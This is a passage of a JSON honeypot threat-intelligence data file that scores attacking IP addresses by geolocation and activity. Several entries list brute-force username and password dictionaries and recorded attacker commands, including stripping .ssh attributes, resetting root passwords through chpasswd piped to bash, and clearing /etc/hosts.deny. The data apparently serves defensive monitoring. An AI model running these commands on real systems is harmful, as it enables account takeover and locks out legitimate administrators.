      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Tocuyito",
      "asn": 21826,
      "as_org": "Corporacion Telemic C.A.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:32:02.031000+00:00",
        "last_seen_30d": "2026-05-12T16:35:36.582000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.47": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:59:51.332Z",
      "last_seen": "2026-05-16T23:00:01.148Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T18:47:11+00:00",
        "last_seen_30d": "2026-05-31T23:42:52.018000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 22,
        "Cowrie": 2
      }
    },
    "206.62.164.35": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:47:00.095Z",
      "last_seen": "2026-05-16T17:47:13.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 269984,
      "as_org": "CORPORACION MATRIX TV, C.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:47:00.095000+00:00",
        "last_seen_30d": "2026-05-16T17:48:14.428000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "209.89.227.9": {
      "attack_count": 2,
      "first_seen": "2026-05-08T21:43:00.684Z",
      "last_seen": "2026-05-08T21:43:03.238Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Calgary",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:22:34.042000+00:00",
        "last_seen_30d": "2026-05-08T21:44:09.703000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "211.106.54.198": {
      "attack_count": 2,
      "first_seen": "2026-05-13T19:26:52.441Z",
      "last_seen": "2026-05-13T19:27:05.318Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:26:52.441000+00:00",
        "last_seen_30d": "2026-05-13T19:28:10.449000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.58.70.205": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:34:16.670Z",
      "last_seen": "2026-05-13T21:36:16.679Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Calimaya",
      "asn": 265605,
      "as_org": "VELOCOM SA DE CV",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:34:16.670000+00:00",
        "last_seen_30d": "2026-05-13T21:37:22.949000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.170.109.164": {
      "attack_count": 2,
      "first_seen": "2026-05-07T02:17:29.685Z",
      "last_seen": "2026-05-07T02:17:43.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 267773,
      "as_org": "AS267773",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:17:29.685000+00:00",
        "last_seen_30d": "2026-05-07T02:18:49.686000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "50.80.59.2": {
      "attack_count": 2,
      "first_seen": "2026-05-25T09:51:05.590Z",
      "last_seen": "2026-05-25T09:51:56.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "El Paso",
      "asn": 30036,
      "as_org": "Mediacom Communications Corp",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:51:05.590000+00:00",
        "last_seen_30d": "2026-05-25T09:52:56.977000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "74.244.195.200": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:46:22.787Z",
      "last_seen": "2026-05-08T16:48:22.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zimbabwe",
      "country_code": "ZW",
      "city": "Harare",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:46:22.787000+00:00",
        "last_seen_30d": "2026-05-08T16:59:15.406000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "76.143.140.101": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:17:20.152Z",
      "last_seen": "2026-05-04T14:17:33.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Texas City",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:17:20.152000+00:00",
        "last_seen_30d": "2026-05-04T14:18:41.292000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.189.129.106": {
      "attack_count": 2,
      "first_seen": "2026-05-06T02:37:45.761Z",
      "last_seen": "2026-05-06T02:37:58.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "M\u0142ynisko",
      "asn": 5617,
      "as_org": "Orange Polska Spolka Akcyjna",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:37:45.761000+00:00",
        "last_seen_30d": "2026-05-06T02:39:07.416000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.177.244.49": {
      "attack_count": 2,
      "first_seen": "2026-05-07T13:59:23.064Z",
      "last_seen": "2026-05-07T13:59:54.510Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 20910,
      "as_org": "SIA BITE Latvija",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:59:23.064000+00:00",
        "last_seen_30d": "2026-05-07T14:01:03.292000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.219.227.231": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:52:08.091Z",
      "last_seen": "2026-05-23T00:54:08.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Medina",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:52:08.091000+00:00",
        "last_seen_30d": "2026-05-23T00:55:11.949000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.164.39.253": {
      "attack_count": 583,
      "first_seen": "2026-05-09T21:57:55.782Z",
      "last_seen": "2026-05-20T05:04:57.104Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "test",
        "claude",
        "oracle",
        "sophia",
        "user",
        "admin1",
        "bitnami",
        "deploy",
        "deployer",
        "es",
        "ftpuser",
        "gameserver",
        "lighthouse",
        "minecraft",
        "openvpn",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "test123",
        "!%&(!%&(",
        "!Q2w3e$R",
        "!Q2w3e4r",
        "!qazxsw2#edc",
        "1",
        "1100",
        "1234&qwer",
        "123456",
        "12345678",
        "12345678910",
        "123456asdfg",
        "12345qwert",
        "1234ABC",
        "123qwe",
        "1988",
        "1q0o2w9i"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:4cNNK4VOTO9J\"|chpasswd|bash",
        "echo \"test123\\nvDSawkUbHxgj\\nvDSawkUbHxgj\\n\"|passwd",
        "echo -e \"test123\\nvDSawkUbHxgj\\nvDSawkUbHxgj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Foz do Igua\u00e7u",
      "asn": 268622,
      "as_org": "OLIVEIRA TELECOM",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 780,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:57:55.782000+00:00",
        "last_seen_30d": "2026-05-20T05:06:01.915000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 583,
        "Suricata": 197
      }
    },
    "61.184.64.70": {
      "attack_count": 480,
      "first_seen": "2026-05-21T06:40:49.777Z",
      "last_seen": "2026-05-22T09:35:55.344Z",
      "sessions": 240,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 737,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:40:49.777000+00:00",
        "last_seen_30d": "2026-05-22T09:36:56.129000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 480,
        "Suricata": 257
      }
    },
    "27.79.2.148": {
      "attack_count": 467,
      "first_seen": "2026-05-25T14:47:40.121Z",
      "last_seen": "2026-05-25T15:18:18.730Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "test",
        "cisco",
        "ftp",
        "monitor",
        "1234",
        "123456",
        "admian",
        "anton",
        "ashish",
        "auto",
        "backup",
        "brenda",
        "btf",
        "client",
        "db2inst2",
        "demo",
        "developer"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "1234",
        "123456",
        "12345",
        "abc123",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "111111",
        "112233",
        "123",
        "123456789",
        "321start",
        "91482d",
        "OkwKcECs8qJP2Z",
        "abcdefg",
        "admin1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:47:40.121000+00:00",
        "last_seen_30d": "2026-05-25T15:19:26.574000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 467,
        "Suricata": 197
      }
    },
    "41.60.144.226": {
      "attack_count": 440,
      "first_seen": "2026-05-19T18:10:22.234Z",
      "last_seen": "2026-05-20T17:53:58.936Z",
      "sessions": 220,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:10:22.234000+00:00",
        "last_seen_30d": "2026-05-20T17:55:06.377000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 440,
        "Suricata": 224
      }
    },
    "41.60.141.189": {
      "attack_count": 436,
      "first_seen": "2026-05-19T18:28:16.327Z",
      "last_seen": "2026-05-20T18:09:12.918Z",
      "sessions": 218,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": null,
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 654,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:28:16.327000+00:00",
        "last_seen_30d": "2026-05-20T18:10:22.152000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 436,
        "Suricata": 218
      }
    },
    "119.205.179.217": {
      "attack_count": 343,
      "first_seen": "2026-05-07T07:01:24.270Z",
      "last_seen": "2026-05-29T09:04:15.385Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "hadoop",
        "oracle",
        "test",
        "testftp",
        "yang",
        "admins",
        "app",
        "client",
        "deployer",
        "fileuser",
        "newuser",
        "nominatim",
        "postgres",
        "shoutcast",
        "steamcmd",
        "sysadmin"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "admin123",
        "12",
        "123",
        "1234",
        "12345",
        "123456789",
        "123456@abc",
        "123456a.",
        "123546",
        "123qwe",
        "19999999",
        "1qaz2wsx#EDC",
        "1qaz@WSX3edc",
        "@#$%^&*!()",
        "Oracle123!@#",
        "P@ssw0rd",
        "a"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\ntvikmzWX1oey\\ntvikmzWX1oey\\n\"|passwd",
        "echo \"ftp\\nE9lX6xqu9cZQ\\nE9lX6xqu9cZQ\\n\"|passwd",
        "echo -e \"123456\\ntvikmzWX1oey\\ntvikmzWX1oey\"|passwd|bash",
        "echo -e \"ftp\\nE9lX6xqu9cZQ\\nE9lX6xqu9cZQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chuncheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 443,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:01:24.270000+00:00",
        "last_seen_30d": "2026-05-29T09:05:17.468000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 343,
        "Suricata": 100
      }
    },
    "144.91.122.61": {
      "attack_count": 330,
      "first_seen": "2026-05-04T04:58:03.302Z",
      "last_seen": "2026-05-04T08:40:51.451Z",
      "sessions": 165,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:58:03.302000+00:00",
        "last_seen_30d": "2026-05-04T08:41:58.653000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 187
      }
    },
    "110.239.85.207": {
      "attack_count": 288,
      "first_seen": "2026-05-14T18:33:25.124Z",
      "last_seen": "2026-05-14T19:25:10.865Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jflhi5za",
        "whmapi",
        "a",
        "admin",
        "gm",
        "jcon0r73",
        "jla",
        "linux",
        "nadmin",
        "oracle",
        "pakchoi",
        "root2",
        "rsacgo23",
        "shrvn6xd",
        "steam",
        "support",
        "work",
        "yusuf"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "drHsosw0iIPRMnLcZUwC",
        "linux123",
        "0.0.0.0.",
        "112233",
        "1234",
        "123Qwe123C",
        "1q2w!Q@W",
        "781011",
        "8.5vHtXSSViFDvKi+TB.",
        "A12345678@",
        "Ht@123456",
        "ItsemoemoWashere2023support",
        "KZ+1E0C~_qz+E2wt64ko",
        "Kermit123@",
        "YourPassword@6942",
        "gm",
        "nadmin",
        "qvAKezGkBP2x-stx1C-n"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"YourPassword@6942\\nntaen34kF8s2\\nntaen34kF8s2\\n\"|passwd",
        "echo \"drHsosw0iIPRMnLcZUwC\\nFjhfCRK9vIbN\\nFjhfCRK9vIbN\\n\"|passwd",
        "echo -e \"YourPassword@6942\\nntaen34kF8s2\\nntaen34kF8s2\"|passwd|bash",
        "echo -e \"drHsosw0iIPRMnLcZUwC\\nFjhfCRK9vIbN\\nFjhfCRK9vIbN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:33:25.124000+00:00",
        "last_seen_30d": "2026-05-14T19:26:14.783000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 77
      }
    },
    "41.93.28.9": {
      "attack_count": 288,
      "first_seen": "2026-05-10T09:12:41.214Z",
      "last_seen": "2026-05-10T09:47:57.345Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubuntu",
        "345gs5662d34",
        "sftp",
        "test",
        "user",
        "user15",
        "Ubuntu",
        "alex",
        "bakuser",
        "bassuser",
        "bitrix",
        "deploy",
        "developer",
        "es",
        "mcserver",
        "oracle",
        "steam",
        "test0"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123321",
        "123456",
        "12345678",
        "123abc",
        "123qweasd",
        "1qa2ws",
        "Ab123456",
        "Debian@2022",
        "Ubuntu123",
        "ZAQ!2wsx",
        "admin#",
        "admin000",
        "admin1234",
        "asdf1",
        "bakuser",
        "bassuser",
        "bitrix123",
        "csgo"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
